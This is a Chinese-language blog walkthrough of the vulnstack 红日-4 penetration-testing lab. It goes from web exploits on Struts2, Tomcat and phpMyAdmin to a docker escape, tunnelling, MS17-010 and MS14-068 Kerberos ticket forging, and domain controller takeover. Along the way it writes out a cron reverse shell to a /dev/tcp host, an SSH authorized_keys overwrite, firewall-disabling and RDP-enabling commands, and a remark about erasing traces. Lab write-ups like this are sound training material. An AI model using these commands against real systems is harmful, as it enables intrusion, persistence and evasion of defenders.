vulnstack红日-4

...这次的有一点难度,有一些地方按照自己以往的固定思路来做碰到了比较多的问题

不过还行,算是又学到挺多的,还有很多东西要去复习一下了,可以试试

链接:https://pan.baidu.com/s/1QxpyjtGsygmyMvpoGWgYlw 
提取码:7uiq

环境搭建

在这里插入图片描述

cd /home/ubuntu/Desktop/vulhub/struts/s2-045
docker-compose up -d
cd ../../tomcat/CVE-2017-12615
cd ../../phpmyadmin/CVE-2018-12613

Struts2/s2-045
CVE-2017-12615(tomcat put任意写)
CVE-2018-12613(phpmyadmin文件包含)

下面开始

简单的信息收集
在这里插入图片描述

2001 jetty
2002 tomcat
2003 apache
挨个打开看看
2001 Struts框架
在这里插入图片描述
2002 Tomcat中间件
在这里插入图片描述
2003 phpmyadmin,还是空密码登录的

先从phpmyadmin开始测试,这个版本有个远程文件包含
在这里插入图片描述
日志包含
在这里插入图片描述
在这里插入图片描述
可以被执行,那就直接写个马吧
在这里插入图片描述
在这里插入图片描述
成功getshell,再回去看Struts,这个直接工具扫一下就知道了,传个jsp马就行
在这里插入图片描述
Tomcat 是存在PUT任意写文件,同样写个jsp马结束
在这里插入图片描述
session交给MSF,这里有点小插曲,差点给我整不自信了
在这里插入图片描述
还想着直接弹回来就行了,试了好几个payload都不弹,尴尬了,老老实实的传后门弹session吧
在这里插入图片描述
chmod +x ma.elf 执行就有了
在这里插入图片描述
在这里插入图片描述

docker逃逸

在这里插入图片描述
因为这个是起的docker环境嘛,所以下面就是docker逃逸了

这里真的巨尴尬,因为记得有个poc是可以直接用的嘛,结果一打,docker没出来,容器崩了

错误示范:cve-2019-5736,呜呜呜
在这里插入图片描述
\n 后面跟我们的命令,然后上面没使用的部分要注释掉,Go的特性,没用的要删掉否则报错

go build main.go 编译好的文件传到docker下
在这里插入图片描述
在这里插入图片描述
现在模拟宿主机进入docker,再次尴尬,不清楚问题出在哪,反正就是没弹回来,原先的docker容器也被打坏了
在这里插入图片描述

这种方式利用的条件其实比较苛刻,需要在宿主机必须有人执行exec命令进入当前docker环境
如果没有人在宿主机执行的话,是无法进行docker逃逸的

下面才是正确示范,呜呜呜
看了几篇关于docker逃逸的文章,又回来试试

当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
使用特权模式启动容器,可以获取大量设备文件访问权限

在这里插入图片描述
挂载到/paidx0 ,这个时候就已经可以对宿主机文件任意操作了

写个计划任务弹shell
echo '* * * * * bash -i >& /dev/tcp/192.168.118.128/8888 0>&1' >> /paidx0/var/spool/cron/root

在这里插入图片描述
又尴尬了,没反应,想拿个session真难
在这里插入图片描述
尝试去修改宿主机的ssh秘钥,本地生成秘钥,直接留空密码就行一路回车
在这里插入图片描述
在这里插入图片描述

拷贝一份秘钥
cp -avx /paidx0/home/ubuntu/.ssh/id_rsa.pub /paidx0/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述

再把我们自己生成的秘钥给他替换掉
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzme7s92LMBjQHvkdbcMqYnQLvWMCJ5YaGJpAstkzuPukBPN0pWjrHHvWcJRft4ils6vJEyct+JgEMj0XEx5aZjVngI+T8vdmX1bwM72KVW0J8maCuzUxQmEO5t4rd+oV1CEprDz215QovELeGcGTbbBb/tBIf1V4wILuxwfbSrZFOn4qW7a1ktWwwrRP/FilVKy+4pseX2Ee/G2s9RQWzO6T2+wuGkClPfLV8eJFfUJqqG8bYJaqYCbK4yPj8FdEQ5Ra+1ickY/uPhrx1vwVdOTnhhePFq+bIMuIfgPXuORf5lXAGYvGn33vMvUNy9GqPSlQ+P8JJx8RehA4o9ij8vaIQ1ZvR4LpZtpJ/LHlIA60lohzyfQeGNYxjQuwEMN2z6/15hekJ7josGuU2LTPrVqF/8GNMrGSRL5mtTjxFZCSrXOHGzr1dJOno0dLB5P50dMkIrtl/OWQ06vuTJF5GOH4D/Vch8+oM3YkN6dOLkRKvYhtPT8cpPLZgWuC1le0= kali@kali' > /paidx0/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述
我们的秘钥确实是写进ubuntu了,可以免密直接ssh了
ssh -i hack ubuntu@192.168.118.132
在这里插入图片描述

内网隧道

开始内网咯,先是常规的搭建一下内网隧道,方便扩大攻击面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
宿主机上没有别的环境,就一个python2,所以Neo是用不了,这次用EW

传到宿主机上,启动服务
通过访问宿主机1080端口提供的代理服务访问内网
所以还要修改下这个/etc/proxychains4.conf
nohup ./ew_for_linux64 -s ssocksd -l 1080 &

在这里插入图片描述

隧道搭建完毕
直接上fscan,进内网就简单了
(icmp) Target 192.168.93.131  is alive
(icmp) Target 192.168.93.130  is alive
(icmp) Target 192.168.93.132  is alive
192.168.93.130:139 open
192.168.93.131:139 open
192.168.93.131:445 open
192.168.93.131:88 open
192.168.93.130:445 open
192.168.93.130:135 open
192.168.93.131:135 open
192.168.93.132:22 open
[*]192.168.93.130
   [->]TESTWIN7-PC
   [->]192.168.93.130
[+] NetInfo:
[*]192.168.93.131
   [->]WIN-ENS2VR5TR3N
   [->]192.168.93.131
[*] 192.168.93.131 [+]DC DEMO\WIN-ENS2VR5TR3N   Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.93.131      MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 192.168.93.130      MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.93.130       __MSBROWSE__\TESTWIN7-PC       Windows 7 Enterprise 7601 Service Pack 1
好像存在永恒之蓝,试试
额,确实存在ms17-010,但是直接打没打通

又试试设置MSF的流量从ubuntu走
Setg Proxies socks5:192.168.118.132:1080
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate

还是没通,郁闷了一下午,讲道理不应该啊
晚上又回来看了看,看了下别的师傅打的记录,这里他们还传了chisel 上去,说是直接打的话ms17-010很不稳定

./chisel server -p 2333 --socks5
./chisel client 192.168.118.132:2333 socks

横向域控

再试试就通了,win7 session到手,下面是开始拿域控了
在这里插入图片描述
桌面上有mimikatz,拿来试试,行吧只抓到了win7这台机子
在这里插入图片描述
桌面上还有个ms14-068,先去看看这个怎么用

如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。

漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。

如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。

该用户可以将TGT发送到KDCKDCTGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,

而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

使用挺简单的,那几个东西用mimikatz就都可以抓到
在这里插入图片描述
在这里插入图片描述

我们现在手上有win7这台机子的

ms14-068.exe  -u 域成员@域名  -s 域成员的sid  -d  域控制器的ip  -p 域成员密码

Ms14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.93.131 -p Dotest123

目录下生成这么一个票据 TGT_douser@DEMO.COM.ccache

在这里插入图片描述

Dir \\WIN-ENS2VR5TR3N\C$	//查看域控制器的C盘
是乱码,我说一下什么意思,就是没权限嘛,哈哈哈

在这里插入图片描述
开始注入凭证

kerberos::purge        //清空当前机器中所有凭证
kerberos::list        //查看当前机器凭证列表
kerberos::ptc TGT_douser@DEMO.COM.ccache   //将票据注入到内存中

在这里插入图片描述
再试试查看域控制器的C盘
在这里插入图片描述
已经算是有了域控的基本权限了,传个马让MSF接管session
在这里插入图片描述
在这里插入图片描述

复制到域控机上,起个计划任务,静静等待session自己弹回来

At \\WIN-ENS2VR5TR3N 23:15:00 cmd.exe /c "c:\demo.exe"

在这里插入图片描述
在这里插入图片描述
尴尬了,没弹回来,难道是防火墙栏了
在这里插入图片描述

关掉防火墙去
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\WIN-ENS2VR5TR3N start unablefirewall

在这里插入图片描述
再试一次计划任务
在这里插入图片描述
果然是防火墙,继续传个mimikatz上去抓域控的密码
在这里插入图片描述
开个3389,给他连上去

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
在这里插入图片描述
自己加个管理员用户进去啥的,最后记得删除痕迹和上传上来的东西,然后跑路,哈哈哈哈

总结一下嘛

好难好难好难,害,还是好几个地方卡住了,好菜啊呜呜呜

思路太死板了,就会那么几种常规方式,还够的学了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值